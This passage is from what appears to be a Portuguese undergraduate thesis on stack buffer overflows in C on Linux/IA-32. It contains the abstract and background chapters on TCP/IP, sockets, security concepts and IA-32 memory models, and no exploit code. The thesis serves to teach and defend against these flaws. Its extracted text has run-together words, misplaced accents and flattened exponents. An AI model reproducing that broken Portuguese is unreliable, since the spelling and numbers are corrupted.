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sonalidade. Para vencer é indispensável tornar-se digno

do triunfo pela força de vontade, pela coragem, pela per-

sistência.”

(Jean de la Bruyère)



Dedico este trabalho aos meus pais, Julio Cesar e Maria

Helena, que sempre me apoiaram e me ajudaram em todos

os momentos, aos meus irmãos Julio e Diego, por serem
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RESUMO

Vulnerabilidades em aplicações são as causas da maioria das invasões de computadores. Isto

é causado pela arquitetura do processador quanto ao gerenciamento precário de páginas de

memória (Arquitetura Intel IA-32) e principalmente pela falta de atenção ou conhecimento du-

rante o desenvolvimento das aplicações. Este documento trata de vulnerabilidades em aplicações

referentes ao estouro de buffers na pilha, explicando detalhadamente como elas podem ser ex-

ploradas e principalmente como podem ser evitadas utilizando os diversos mecanismos de de-

fesa disponı́veis. Como proposta de solução, uma modificação para o Linux foi desenvolvida,

com o objetivo de contornar a fragilidade da arquitetura utilizada.



LISTA DE FIGURAS

Figura 1 - As quatro camadas do TCP/IP.............................................................................................4

Figura 2 - Arquitetura cliente-servidor................................................................................................6

Figura 3 - Encapsulamento de dados...................................................................................................6
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SUMÁRIO

1 INTRODUÇÃO 1
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2.6.1 CONCEITOSBÁSICOS . . . . . . . . . . . . . . . . . . . . . . . . . 27
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1 INTRODUÇÃO

Com o avanço da tecnologiano desenvolvimentocomputacionalsurgiu a necessidadede

transfer̂enciade dadosa dist̂ancia,sendoprojetadas,destaforma, asredesde computadores.

Atualmente,ondeexistem computadoresinterligadosque compartilhaminformaç̃oesimpor-

tantesatravésdessasredes,cadaum delespodeserconsideradoum alvo em potencial. Difi-

cilmentesepassaum mêssemalgumanot́ıcia relatandoinvas̃ao decomputadoresde empre-

sas,invas̃oesobtidasatravésda exploraç̃ao defalhasexistentesem softwares,principalmente

buffer overflows. Tais invas̃oespodemter váriasconseq̈uências,tais como: interrupç̃oesde

serviços, alteraç̃oesde registros,substituiç̃oesde softwarespor outrosespecialmentemodifi-

cados,informaç̃oespropriet́ariascopiadassemautorizac¸ão,capturac¸ão desenhas,entreoutras.

Por isso,faz-senecesśario a utilização detécnicassegurasdeprogramac¸ãoe tamb́emo usode

ferramentasquedificultem tais invas̃oes,aumentandodestemodoa confiabilidadedosdados

armazenadosdigitalmente.

Nestedocumentoestaremosutilizandoa distribuição Debian1 na suavers̃ao 3.0r2 como

plataformaprincipaldedesenvolvimentoepesquisa.O kernelnavers̃ao2.4.24tamb́emfoi uti-

lizadoe apropostadesoluç̃aofoi feitabaseadanessavers̃ao.Utilizamostamb́emo compilador

gcc2.95.4queest́adispońıvel comadistribuiçãoDebian.

A pesquisaabordavulnerabilidadesdeestourodebuffer deprogramascodificadosna lin-

guagemC e quepodem,dependendodo contexto, seremaplicadosa programasdesenvolvidos

emC++. A arquiteturaIA-32 foi utilizadacomobase,poisé aarquiteturadominantenoscom-

putadoresdomésticosecorporativosatualmente.

O trabalhofoi organizadoemseiscaṕıtulos.No Caṕıtulo 2 ser̃aoapresentadososconceitos

básicosem torno do assuntodesteprojeto, comoarquiteturaIA32 e Linux. Em seguida,no

Caṕıtulo 3 técnicasdeexploraç̃aodasvulnerabilidadesdebuffer overflowser̃aoexplicadasem

detalhe.No Caṕıtulo 4, osmeiosmaisutilizadosparasedefendercontraessasvulnerabilidades

ser̃aomostrados,entreelesum conjuntodepatchesparao kernelconhecidocomogrsecurity.

1http://www.debian.org
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No Caṕıtulo 5, a propostadesoluç̃aodesenvolvida seŕa apresentada.E no Caṕıtulo 6, ascon-

clus̃oesdestetrabalhoepropostasfuturasser̃aoapresentadas.
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2 EMBASAMENT O TEÓRICO

Nestecaṕıtulo ser̃ao revistosalgunstópicosquesão necesśariosparao entendimentode

comoasfalhasdeestourodebuffer funcionam.

2.1 INTERNET: A REDEMUNDIAL DE COMPUTADORES

Uma dasprimeirasredesdecomputadoresconhecidasfoi chamadade ARPANET desen-

volvida emmeadosdosanos70 por universidadese corporac¸õesemconseq̈uênciadeum con-

trato assinadocom o Departmentof Defense’s AdvancedResearch ProjectsAgency(ARPA,

tamb́emconhecidocomoDARPA.). No seuinı́cio, aARPANET erausadaapenasporumgrupo

depesquisadores,estudanteseadministradores.Não havia muitosproblemasdesegurança,pois

sealgúemcometessealgumatoilegal, seriafácil encontŕa-lo jáqueo usoerarestrito.Nosanos

80 a ARPANET conectava computadoresaoredordo mundoe serviacomouma”espinhador-

sal” paramuitasredesregionaisedeuniversidadesquesejuntaramaoprojetoaṕosasuacriaç̃ao

(GARFINKEL, 1996).

Em1983foi implantadoo protocolodecomunicac¸ãoTCP/IPe aARPANET sedividiu em

duaspartes: ARPANET (parteacad̂emica)e MILNET (integradaà DefenseData Network).

Paralelamentecomessastransformac¸ões,o SistemaOperacionalUNIX passouaserdistribúıdo

comtodoo pacoteTCP/IPquepermitiu a definiç̃ao deuma”internet”, comoum conjuntode

redesquaisquer, especialmenteaquelasqueusamTCP/IPe ”Internet” comoum conjuntode

”internet”sconectadaspeloTCP/IP(HUNT, 1998).

Depoisde algunsanos,maisprecisamenteem 1988RobertT. Morris daUniversidadede

Cornell desenvolveu um worm1 queexplorava falhasde programac¸ão nosdaemons2 fingerd,

sendmaile rshatacandocercade6.000hostsconectadosnaInternet.O prejúızo,naépoca,foi

calculadoentreUS$1M aUS$100M.

1wormssãoprogramasaut̂onomosquetemcapacidadedeauto-duplicac¸ão,residindo,circulandoesemultipli-
candoemsistemasmulti-tarefa

2daemonssãoprocessosqueexecutamfunçõesdosistema
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Comoconseq̈uência,oDARPA resolveucriaroCERT3, umcentroespecializadoemsegurança

da Internetcom o objetivo de controlarincidentese vulnerabilidadescomputacionais,publi-

candoalertasdesegurança edesenvolvendoinformaç̃oese treinamentoparaajudaramanteros

hosts4 seguros.No final dadécadade80, a ARPANET foi substitúıdapelaNSFNET, apoiada

em partepelaNational ScienceFoundation(NSF). O apoiofinanceiropor partedo governo

Americanoparaa NSFNET foi cortadono começo dos anos90 devido ao crescimentodas

redescomerciais,deixandoessaresponsabilidadeparaaNSF(CARVALHO, 1996).

Após essasmudanc¸as a NSFNET (ex-ARPANET) passoua se chamarInternet. Com o

passardosanosaInternetsetornouumaredequeconectacentenasdemilharesdecomputadores

e dezenasde milhõesde usúarios através do mundo,com o númerode pessoasconectadas

dobrandoa cadaano,porém,coma popularizac¸ão darede,qualquerusúario an̂onimopoderia

tentarinvadir umsistema.

O crescimentodaInternetfoi tãograndequesetornaquaseimposśıvel identificaralgúem

quetenhainvadidoalgumsistema:os invasorespodemparecerter realizadoo ataquedeuma

universidadedoRio deJaneiro,masaverdadepodeserbemdiferente.Osinvasorespodemser

do Parańa,quepor suavezentraramemum sistemadeManaus,e aṕosissoseconectaramem

outronaBahia,paradepoisseconectarnauniversidadedoRio deJaneiropararealizaro ataque,

com umachancemı́nimadeseremidentificados.Por issováriasmedidasforamtomadaspara

tentaracabarcomtaisinvas̃oes,entreelas,autilização defirewalls (GARFINKEL, 1996).

2.1.1 TCP/IP

O modelodeprotocolosTCP/IPpermitequecomputadoresdetodosostamanhos,dedifer-

entesfabricantes,rodandosistemasoperacionaistotalmentediferentes,comuniquem-seentresi.

Os protocolosde redesão normalmentedesenvolvidos em camadas,com cadacamadasendo

responśavel pordiferentespartesnacomunicac¸ão.O modeloTCP/IPéconsideradoumsistema

de4 camadas,comomostraaFigura1 (STEVENS, 1994).

Figura 1: As quatrocamadasdoTCP/IP(STEVENS, 1994)

3ComputerEmergencyResponseTeam
4host, naInternet,é qualquercomputadorligadoà rede.
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Cadacamadapossuiumadiferenteresponsabilidade:

• camadafı́sica: inclui o dispositivo controladore aplacaderedeno computador. Juntos

elescontrolamtodososdetalhesfı́sicosde interfaceamentocomo cabo(ou outrostipos

demı́dia).

• camadade rede: controlao movimentode pacotespelarede. Roteamentode pacotes,

por exemplo,seencaixanestacamada.IP (InternetProtocol), ICMP (InternetControl

Message Protocol), e IGMP (InternetGroup ManagementProtocol) formama camada

derededasúıteTCP/IP.

• camadade transporte (transport layer): forneceum meiodefluxo dedadosentredois

hosts, paraacamadadeaplicaç̃ao.NasúıteTCP/IP, existemdoisprotocolosdetransporte:

TCP(TransmissionControl Protocol) eUDP(UserDatagramProtocol).

O TCP forneceum fluxo de dadosconfiável entredois hosts. Ele sepreocupacom as-

suntoscomodivisão dedadospassadosparaelevindosdaaplicaç̃aoemtamanhosapro-

priadosparaseremenviadosparaa camadade rede,confirmaç̃ao depacotesrecebidos,

configurartimeoutsparagarantirqueosdadosser̃ao enviados,entreoutros.Devido aesse

fluxo confiável, aaplicaç̃aopodeseabstrairdessesdetalhes.

O UDP, emcontraste,forneceumserviço muitomaissimplesàcamadadeaplicaç̃ao.Ele

apenasenvia pacotesdedadoschamadosdatagramasdeum hostparaoutro,masnãose

preocupaemgarantirqueosdatagramasalcancema outraponta.Qualquerconfirmaç̃ao

derecebimentoprecisaserfeitapelaaplicaç̃ao.

• camadade aplicação: controlaos detalhesdasaplicaç̃oesem particular. Algumasdas

mais comunssão: o telnet, usadoparaconexão em máquinasremotas,e o FTP (file

transferprotocol), utilizadoparatransfer̂enciadearquivosremotos.

2.1.2 ARQUITETURA CLIENTE-SERVIDOR

A maioria das tarefas realizadascom relaç̃ao a rede se encaixano modelo de proces-

sosclientesconversandocom processosservidorese vice-versa,comodemonstraa figura 2.

Quandoserealizaumaconexão à porta23 de um host remoto,utilizandoo telnet (o cliente),

um programano host remoto(telnetd, o servidor)aceitaa conexão (seestiver configuradode

tal maneira).O servidoré quemcontrolao recebimentode conexões,gerenciaa autenticac¸ão,

forneceumterminaldeacesso,edemaistarefas(BEEJ, 2001).
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Figura 2: ArquiteturaCliente-Servidor(BEEJ, 2001)

2.1.3 ENCAPSULAMENTO

Quandoum pacoteé constrúıdo, ele é encapsuladoemum cabec¸alho peloprimeiroproto-

colo (porexemplonaFigura3, queusao protocoloTFTP5), eent̃aotudoo quefoi encapsulado

anteriormentée encapsuladonovamentepelopróximo protocolo(no caso,UDP),e ent̃aoé en-

capsuladodenovopelopróximo(IP),efinalmentéeencapsuladopeloprotocolofinalnacamada

dehardware (fı́sica,noexemplo,Ethernet).

Figura 3: Encapsulamentodedados(BEEJ, 2001)

Quandoo outrocomputadorrecebeo pacote,o hardware deleretirao cabec¸alhoEthernet,

o kernel retirao cabec¸alho IP e UDP, o programaTFTPretirao cabec¸alhoTFTPe finalmente

possuiosdados.

2.1.4 ENDEREÇAMENTO NA INTERNET

Cadacomputadorque se conectaà Internetprecisapossuirum único enderec¸o parase

comunicarcom os demaisconectados̀a rede,chamadode enderec¸o IP. Essesenderec¸os são

númerosde 32 bits. Em vez de seusarenderec¸os cont́ınuoscomo1, 2, 3 e assimpor diante,

há umaestruturaparaos enderec¸os IP da Internet. A Figura4 ilustra asdiferentesclassesde

IP. Essesenderec¸os de 32 bits são normalmenteescritoscomoquatronúmerosdecimais,um

paracadabytedo enderec¸o. Porexemplo,um IP deumaclasseB podesero IP 140.252.13.33

(STEVENS, 1994).

5Trivial File TransferProtocol
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Figura 4: As 5 diferentesclassesdeenderec¸osIP (STEVENS, 1994)

Devido aessarestriç̃ao,existeumaautoridadecentralquealocaessesenderec¸ospararedes

conectadas̀a Internet.Ela é chamadade InternetNetworkInformationCenter, maisconhecida

como InterNIC. A InterNIC apenasdesignaIDs de rede(netids). A associac¸ão deidentifi-

cadoresdehostsfica a cargo doadministradordesistema.Existemtrêstiposdeenderec¸osIP:

unicast(destinadoa um único host),broadcast(destinadoa todosos hostsem umadetermi-

nadarede)e multicast(destinadoa um conjuntodehostsquepertencea um grupomulticast)

(STEVENS, 1994).

ApesardoshostsnaInternetpossúıremumaidentificaç̃aoIP, oshumanosconseguemmem-

orizarmelhorseo hostpossuirumnome.No mundoTCP/IP, o DomainNameSystem(DNS) é

um bancode dadosdistribúıdo que forneceo mapeamentoentreenderec¸os IP e hostnames.

Geralmente,existem funções nasbibliotecasde desenvolvimento de aplicativos voltadosà

comunicac¸ãoentrecomputadoresquelidamcomessaconvers̃ao.

2.2 A LINGUAGEM DE PROGRAMAÇÃO C

A linguagemdeprogramac¸ãoC foi desenvolvidanofinal dosanos70como objetivo deser

umalinguagemde implementac¸ão desistemasem conjuntocom o sistemaoperacionalUnix.

A primeiralinguagemdealtonı́vel implementadanosprimeirossistemasUnix foi a linguagem

B. A linguagemB, como a suapredecessoraBCPL, era uma linguagemfracamentetipada.

Ser fracamentetipada,quer dizer que todosos dadossão consideradospalavrasde máquina

e isso podelevar a muitascomplicaç̃oes. Como resultado,uma nova linguagemtipadafoi

desenvolvida,chamando-selinguagemC (KERNIGHAN; RITCHIE, 1988).

Uma dascaracteŕısticasda linguagemC é o fato de queela trabalhaem cima de rotinas

da bibliotecapadr̃ao paraoperac¸õesde entradae sáıda e outrasinteraç̃oescom o sistemaop-

eracional.A linguagemC possuiabstrac¸õesde alto ńıvel que,usadasde forma correta,pode

seralcançadoumaportabilidadeentremáquinasdearquiteturasdiferentes.Poressasraz̃oes,a
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linguagemC setornouumadaslinguagensdominantesdaatualidade(GILLETTE, 2002).

2.2.1 TIPOSDE DADOSBÁSICOS

Ostiposdedadosbásicosutilizadospelalinguagemsão(KERNIGHAN; RITCHIE, 1988):

• char: representaumcaractere,comumtamanhodeumbytenaarquiteturaIntel IA-32;

• short int: representaum inteiro pequeno,armazenadoemdoisbytesnaarquiteturaIntel

IA-32;

• int: representaum inteiro,armazenadoemquatrobytesnaarquiteturaIntel IA-32;

• float: representaum númerodepontoflutuante,armazenadoemquatrobytesnaarquite-

turaIntel IA-32, comseisd́ıgitossignificativoseumamagnitudeentre10−38 a1038;

• double: representaumnúmerodepontoflutuantededuplaprecis̃ao,armazenadoemoito

bytesnaarquiteturaIntel IA-32.

Outrotipo comumutilizadonalinguagemC éo array6, porexemplo:char minhavariavel[100]

defineum array chamado”minhavariavel” com 100 posiç̃oesde caracteres(de 0 a 99). Esse

tipo dearraydecaracterestamb́eméchamadoporprogramadorescomostringouent̃aobuffer.

2.2.2 BIBLIOTECA PADRÃO

Coma linguagemC, existeumaclassederotinas”pré-empacotadas”queé fornecidapara

usojunto com todo compiladorC. Coletivamente,essaclassede rotinasé conhecidacomoa

bibliotecapadr̃ao C. Essasfunçõesda bibliotecapodemseracessadasao incluir o arquivo de

cabec¸alhoqueincluemassuasdefiniç̃oes,atravésdadiretivadepré-processamento”#include”.

Por exemplo,o arquivo string.h forneceacessoa váriasrotinasquerealizamo tratamentode

strings(GILLETTE, 2002).

2.3 PROGRAMAÇÃO DE SOCKETS

Quandoum sistemaoperacionalUnix-like7 realizaqualquertipo de operac¸ão deE/S, ele

o faz através de leitura ou escritaem um descritorde arquivo. Um descritorde arquivo é

simplesmenteum inteiro quepossuiassociadoa si um arquivo aberto. Poŕem, essearquivo

6array é um tipo dedado ondeoselementosqueo formamsão deummesmotipo
7Unix-like indicaqueo sistemaoperacionalemquest̃aopossuicaracteŕısticassemelhantesaoUnix
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podeserumaconexão derede,um terminal,um arquivo real do disco,entreoutros. Tudono

Unix éumarquivo,portanto,quandosevai comunicarcomoutroprogramaatravésdeumarede,

é feito atravésdeumdescritordearquivo. Socketssãosimplesmenteumamaneiradeconversar

comoutrosprogramasutilizandoessesdescritores(BEEJ, 2001).

2.3.1 TIPOSDE SOCKETS

ExistemváriossocketsdeInternet,porém,apenasosdoismaisimportantesser̃aocomenta-

dos. O primeiro é chamadode ”StreamSockets”, e o segundode ”DatagramSockets”, quea

partir deagoraser̃aoreferenciadoscomo”SOCK STREAM” e ”SOCK DGRAM”, respectiva-

mente(BEEJ, 2001).

SOCK STREAMsãostreams8 quefornecemcomunicac¸ãoconfiável eorientadaaconexão,

pois ao seenviar paraum SOCK STREAM os bytes”1 2”, eleschegar̃ao naordem”1 2” na

outraponta.Aplicaçõesconhecidasqueusamo SOCK STREAMsão: telnete osnavegadores

web. OsSOCK STREAM possuemessaqualidadenatransmiss̃ao dedadosporqueutilizam o

TCPcomoprotocolodetransporte,edessamaneira,asseguram-sequeosdadossejamenviados

seq̈uencialmentee livre deerros.

SOCK DGRAM nãosãoorientados̀a conexão,e por isso,aoseenviar um datagrama,não

há acertezade queele cheguena outraponta. Ele usao UDP comoprotocolode transporte.

Ele nãoé orientadoà conexãoporquenãohá anecessidadedeabrir umaconexãocomohá nos

SOCK STREAM. Apenasseconstŕoi o pacote,e envia parao destino. São geralmenteuti-

lizadosemaplicaç̃oesquetransfereminformaç̃oespacote-a-pacote,como: tftp e bootp.Geral-

mente,essasaplicaç̃oesutilizam um tipo de confirmaç̃ao depacotebemmaissimplesquea

utilizadaemSOCK STREAM(naverdade,noTCP)(BEEJ, 2001).

2.3.2 UTILIZANDO SOCKETSEM C

Oscabec¸alhosquepossuemasfunçõese tiposparatrabalharcomsocketsest̃aolistadosna

Tabela1.

Um socket é um int (tipo primitivo emC). Existemdois tiposdeordenac¸ão debytes: byte

maissignificativo primeiro (”Network ByteOrder” , tamb́emconhecidocomobig-endianbyte

order), e o bytemenossignificativo primeiro (”Host byteorder” , ou little-endianbyteorder).

Essestiposser̃aodescritosmelhornaseç̃ao daArquiteturaIntel IA-32.

(BEEJ, 2001)descreveasestruturascomumenteusadas:

8streamé umaseq̈uênciadebytes
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Tabela1: Cabec¸alhosparatrabalharcomsockets

Cabeçalho Descriç̃ao
sys/socket.h Declarac¸ão deconstantes,tipose funçõesdesocket
sys/types.h Declarac¸ão detiposdedadosprimitivosdosistema
netinet/in.h Declarac¸ãodasestruturaseprotocolosdaInternet
arpa/inet.h Declarac¸ão defunçõesdeprotocolosdaInternet

• struct sockaddr: armazenainformaç̃oesdeenderec¸osdesocketsparaosváriostiposde

sockets

• struct sock addr in: estruturacriadaparalidar comaestruturasockaddr.

• struct in addr: armazenaumenderec¸o IP

Paraa convers̃aoentreNetworkByteorder e Hostbyteorder, foram constrúıdasalgumas

funções,querealizamconvers̃oesentretiposshort (2 bytes) e long (4 bytes):

• htons(): converteumtipo shortdeordenac¸ãohostparanetwork

• htonl(): converteumtipo longdeordenac¸ãohostparanetwork

• ntohs(): converteumtipo shortdeordenac¸ãonetworkparahost

• ntohl(): converteumtipo de longdeordenac¸ãonetworkparahost

• inet addr(): converteumenderec¸o IPemnotaç̃aodecimalparaumenderec¸oemordenac¸ão

tipo network

As funçõesquesãoutilizadasgeralmenteparaserealizarumacomunicac¸ãoentresockets

são:

• socket(): cria umsocket

• bind(): anexaaumsocket umaportaparacomunicac¸ão

• connect(): conectaaumhostremoto

• listen(): aguardaconexõesnosocket

• accept(): depoisde conectado,o accept()cria um novo socket paracomunicac¸ão, per-

mitindoqueoutrosconectemnaportaqueest́a rodandoo listen()
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• send(): envia dadosparao socket (apenasparasockets”conectados”)

• recv(): recebedadosdosocket (apenasparasockets”conectados”)

• sendto(): envia dadosparaum socket quenãoest́aconectadocomumhostremoto

• recvfrom(): recebedadosdeumsocket quenãoest́aconectado

• close(): fechaaconexãodosocket

• shutdown(): fechaaconexãodosocket permitindoinformarcomoseŕa fechado

• getpeername(): pegao nomedohostqueest́adooutroladodosocket

• gethostname(): pegao nomedohostlocal

• gethostbyname(): retornao IP deumhostname

2.4 SEGURANÇA EM SISTEMASDE INFORMAÇÃO

A segurançadasinformaç̃oesdefine-secomoo processodeproteç̃aodasinformaç̃oeseda-

dosdigitaisarmazenadosemcomputadores.(FEBRABAN; ISS, 2000)listaoselementosbásicos

dasegurançadasinformaç̃oes:

• Confidencialidade: proteger informaç̃oesconfidenciaiscontrarevelaç̃aonãoautorizada

oucaptac¸ãocompreenśıvel;

• Disponibilidade: garantirqueinformaç̃oese serviçosvitais estejamdispońıveisquando

requeridos;

• Integridade: manterinformaç̃oesedadosdossistemascomputadorizados,exatosecom-

pletos.

A necessidadedesegurança e aimport̂anciarelativa decadaum dos elementosdependem

donegóciodecadaorganizaç̃ao.Pode-sedefinirumriscocomoaprobabilidadedeumaameac¸a

explorar vulnerabilidadesparacausarperdasou danosa qualquersistemade informaç̃ao. Em

(FEBRABAN; ISS, 2000)apareceumalistadasameac¸asmaiscomuns:

• Falhasemsoftwares;

• acessonão autorizado de informações,sistemasde informações,redese/ouserviços

de rede;
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• Softwaremalicioso;

• Falhasdesistemasbásicoseaplicativos;

• Modificaçãonãoautorizada demensagense informações;

• Err oshumanos;

• Ataquesbaseadosemsenhas;

• Ataquesqueexploram o acessoconfiável;

• EngenhariaSocial;

• ” Spoofing” do IP;

• Exploração devulnerabilidades tecnológicas;

• Exploração debibliotecascompartilhadas;

• Falhasnosprotocolos;

• ”DoS - Denial of Service”;

• ”DDoS - Distrib uted Denial of Service” e

• Vı́rus.

Umatentativademelhorarasegurançadasredescorporativasfoi autilização de”firewalls”.

Háváriosanosatrás,paredesdetijoloseramconstrúıdasentreprédiosexistentesemgrandes

complexosdeapartamentos,como objetivo dequesehouvessealgumtipo de incêndio,fosse

posśıvel evitar queo fogo seespalhassepros demaisestabelecimentos.Naturalmente,essas

paredesforamchamadasde”fir ewalls” (HARE, 1996).

Quandoumcomputador (ouumarededecomputadores)́econectadonaInternet,elepassa

a estarhabilitadoa comunicarcom os demaiscomputadoresconectadosna rede. Contudo,o

mesmocomputadorestaŕapermitindoqueosdiversoscomputadoresdaredeinterajamcomele,

tornando-seassimum alvo empotencialparaataquesexternos.Osfirewalls, emsuamaioria,

nadamaissão do queroteadoresatravésdosquaisos dadospassam,seguindoaspoĺıticasde

segurança definidaspelo administrador. Portanto,se algum invasortentarobter acessonão-

autorizadoaosistema,elepodeŕaserbarradonofirewall enãoconseguirá ir alémdisso.

Apesardisso,o firewall não é infaĺıvel, o seupropósito é aumentara segurança, e não

garant́ı-la. Por exemplo,paraum firewall, é difı́cil entenderos dadosquepassamatravésde
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um serviço válido configuradoemsuasregras, ou seja,umamensagemdee-mail é umamen-

sagemdee-mail.Fazercomqueo firewall filtre eeliminecadae-mailcontendocertaspalavras

indesejadaśe posśıvel, porém, nem todostem a capacidadede filtrar buffer overflow, que é

consideradoumproblemadesegurançacŕıtico paraqualquerrededecorporac¸ãoprotegida.

Um exemploreal queaconteceurecentemente,foi o ataquecontraservidoresde páginas

queutilizavamOpenSSL(umaimplementac¸ão de conexõescriptogŕaficas).Foi descobertauma

falhadeimplementac¸ãono OpenSSLe,comoestetrabalhava junto como Apache (servidorde

páginasweb)atravésdo modssl, acabousetornandoumaboaportadeentradaparainvasores,

já quegeralmenteo serviço depáginasnãoé totalmentefiltrado pelofirewall.

Nos últimos anos,a principal causada maioriadasinvas̃oesde computadorestem sido o

buffer overflow, quepodeafetarqualquersistemaondeumtamanhofixo demeḿoriafoi alocado

paraumaentradade dadosde tamanhoindefinido. No passado,o buffer overflow foi tratado

comoapenassendoumbugdesoftware,queiria nomáximocausaralgumtipo deincômodose

ele fosseusadoparainterromperum processoemexecuç̃ao. A chave parao entendimentodo

buffer overflowé queelepermitea execuç̃ao deum códigoarbitrário. Na erada informaç̃aoe

subseq̈uenteguerradeinformaç̃oes,o buffer overflowpodesercomparadocomum mı́ssil. Em

contrapartida,ele podeserusadocomoumavantagemestrat́egicacontraqualquersistemade

informaç̃ao(GILLETTE, 2002).

Paracompreendero funcionamentode um buffer overflowna arquiteturaIntel com o sis-

temaoperacionalLinux, primeiroé necesśario apresentarconceitosbásicosdeambos,paraem

seguidadetalharosaspectostécnicosdafalha.

2.5 ARQUITETURA INTEL IA-32

Nestaseç̃aoveremoso funcionamentobásicodeumcomputadordaarquiteturaIntel IA-32.

2.5.1 AMBIENTE DE EXECUÇÃO

A arquiteturaIA-32 suportatrêsmodosde operac¸ão: modoprotegido (protectedmode),

mododeenderec¸amentoreal(real-addressmode) emododegerenciamentodesistema(system

managementmode). O mododeoperac¸ãodeterminaquaisinstruç̃oese caracteŕısticasarquite-

turaisestar̃aodispońıveis(INTEL, 2003):

• modo protegido: é o modonativo do processador. Nestemodo, todasas instruç̃oese

caracteŕısticasarquiteturaisest̃aodispońıveis.É o modorecomendadoparaa execuç̃ao de
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todasasaplicaç̃oese sistemasoperacionais.Possuitamb́ema caracteŕısticadeexecuç̃ao

de softwaresqueforam produzidosparaa antiga arquitetura8086,atravésdo chamado

virtual-8086mode.

• modo de endereçamentoreal: implementao ambientedeprogramac¸ãodo processador

8086.Oprocessadoŕecolocadonestemodoaṕosserligadoouaṕosumreset(reinicializaç̃ao

docomputador).

• modo de gerenciamentode sistema: forneceum mecanismotransparenteparaimple-

mentarfunçõesespećıficasdaplataforma,taiscomogerenciamentodeenergiaesegurança

dosistema.

Qualquerprogramaou tarefa rodandoem um processadorIA-32 possuium conjuntode

recursosparaexecuç̃ao deinstruç̃oese paraarmazenarcódigo,dadose informaç̃oesdeestado.

Essesrecursosconstroemo ambientebásicodeexecuç̃aoparaum processadordaIA-32. Esse

ambientebásicodeexecuç̃aoé usadoemconjuntopelasaplicaç̃oese pelosistemaoperacional

querodamnoprocessador. Osprincipaisrecursos,ilustradosnaFigura5, são(INTEL, 2003):

• Espaço de endereçamento (addressspace): todo programaou tarefa em execuç̃ao em

umprocessadorIA-32 possuiumespac¸o deenderec¸amentolineardeat́e4 GBytes(232
−

1) eumespac¸o deenderec¸amentofı́sicodeat́e64GBytes(236
−1).

• Registradoresbásicosde execuç̃ao de programas: os oito registradoresde propósito

geral,osseisregistradoresdesegmento,o registradorEFLAGS,e o registradorEIP (in-

structionpointer) constituemo ambientebásicodeexecuç̃aono qualé executadoo con-

junto de instruç̃oesde propósito geral. Essasinstruç̃oesrealizamaritméticasde inteiro

emumbyte, word edoubleword, gerenciamo fluxo decontroledoprograma,operamem

stringsdebit ebyteeemenderec¸osdemeḿoria.

• Registradoresx87 FPU: conjuntode 14 registradoresresponśaveis pela realizaç̃ao de

operac¸õesdepontoflutuante.

• RegistradoresMMX : oito registradoresMMX quesuportama execuç̃ao deoperac¸ões

deúnicainstruç̃aomulti-dados(SIMD) nosregistradoresde64bits.

• RegistradoresXMM : oito registradoresXMM e um registradorMXCSR querealizam

operac¸õesSIMD emregistradoresde128bits.

• Pilha (stack): parasuportarprocedimentosou chamadasa subrotinase passagemde

par̂ametrosentreprocedimentosou subrotinas,recursosdepilha e degerenciamentode
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pilha foraminclúıdosno ambientedeexecuç̃ao. O funcionamentodapilha seŕa coberto

commaioresdetalhesmaisadiante.

Figura 5: Ambientebásicodeexecuç̃ao daIA-32 (INTEL, 2003)

2.5.2 ORGANIZAÇÃO DA MEMÓRIA

A meḿoria queo processadorconsegueenderec¸ar no seubarramentóe chamadameḿoria

fı́sica.A meḿoria fı́sicaé organizadacomoumaseq̈uênciadebytesde8 bits. Paracadabyteé

associadoum únicoenderec¸o, chamadodeenderec¸o fı́sico. O espac¸o deenderec¸amentofı́sico

varia de 0 (zero)a um máximo de 236
−1 (64 GBytes). Os sistemasoperacionaisutilizam as

capacidadesde gerenciamentodemeḿoria fornecidaspeloprocessador, comosegmentac¸ãoe

paginac¸ão,permitindoqueameḿoriasejagerenciadadeformaconfiável eeficiente.Ao utilizar

asvantagensdegerenciamentofornecidas,osprogramasnãoacessamdiretamentea meḿoria

fı́sica,comoilustraa Figura6, passandoa acesśa-laatravésdo usodeum dostrêsmodelosde

meḿoria: plano(flat), segmentadooudeenderec¸amentoreal(real-address) (INTEL, 2003).
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• Modelo flat: ao utilizar estemodelo,a meḿoria apareceparao programacomosendo

um espac¸o simplese cont́ıguo, chamadode espac¸o de enderec¸amentolinear. O código

(instruç̃oesdo programa),dadose apilha est̃ao todoscontidosnessemesmoespac¸o. O

espac¸o deenderec¸amentolinear é enderec¸ável por byte,comenderec¸osentre0 (zero)a

232
−1.

• Modelo segmentado(segmented): ao utilizar estemodelo,a meḿoria apareceparao

programacomoumgrupodeespac¸osdeenderec¸amentoindependenteschamadosdeseg-

mentos.Comisso,o código,dadose pilha est̃aocontidosemsegmentosseparados.Para

acessarum dadonameḿoria,o programaprecisafornecerum enderec¸o lógico,quecon-

sistede um seletorde segmentoe um offset (deslocamentodentrodo segmento). Os

programasquerodamemum processadordaarquiteturaIA-32 sãocapazesdeenderec¸ar

at́e 16383segmentosde diferentestipos e tamanhos,e cadasegmentopodeser de no

máximo 232 bytes. Internamente,todosos segmentosquesão definidosparao sistema

sãomapeadosparao espac¸o deenderec¸amentolineardo processador. Paraacessaruma

região demeḿoria, o processadortraduzcadaenderec¸o lógicoparaum enderec¸o linear.

Essatraduç̃ao é transparenteparaa aplicaç̃ao. A raz̃aoprincipalparaseutilizar o mod-

elo segmentadóe devido à suacapacidadedeaumentara confiabilidadedosprogramase

sistemas,pois impedequea pilha cresça at́e aseç̃ao decódigoou dadose sobrescrever

instruç̃oesoudados,respectivamente.

Com o modeloflat ou segmentado,o enderec¸o linear é mapeadoem enderec¸o fı́sico

diretamenteou atravésde paginac¸ão. Quandoseutiliza mapeamentodireto (paginac¸ão

desativada),cadaenderec¸o lineartemumacorrespond̂enciaum-por-umcomumenderec¸o

fı́sico. Quandoo mecanismodepaginac¸ão daarquiteturaIA-32 est́a ativado,o enderec¸o

linearé dividido empáginas,quesãomapeadasemumameḿoria virtual. As páginasda

meḿoria virtual sãoent̃aomapeadasquandonecesśario paraa meḿoria fı́sica. Quando

umsistemaoperacionalutiliza paginac¸ão,o mecanismóetransparenteparaasaplicaç̃oes,

que enxergamameḿoria comosendoumespac¸o deenderec¸amentolinear.

• Modo de endereçamentoreal (real-address): essemodeloé suportadopelaarquitetura

IA-32 apenasparamantera compatibilidadecomprogramasescritosparao processador

8086,possuindoameḿoria fı́sicadivididaemsegmentosde64Kbytesecomumtamanho

máximodeespac¸o deenderec¸amentolinearde220 bytes.
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Figura 6: Ostrêsmodelosdegerenciamentodemeḿoria daIA-32 (INTEL, 2003)

2.5.3 MODOSDE OPERAÇÃO E MODELOSDE MEMÓRIA

Ao seescrever códigoparaa arquiteturaIA-32, é necesśario saberemquemodoo proces-

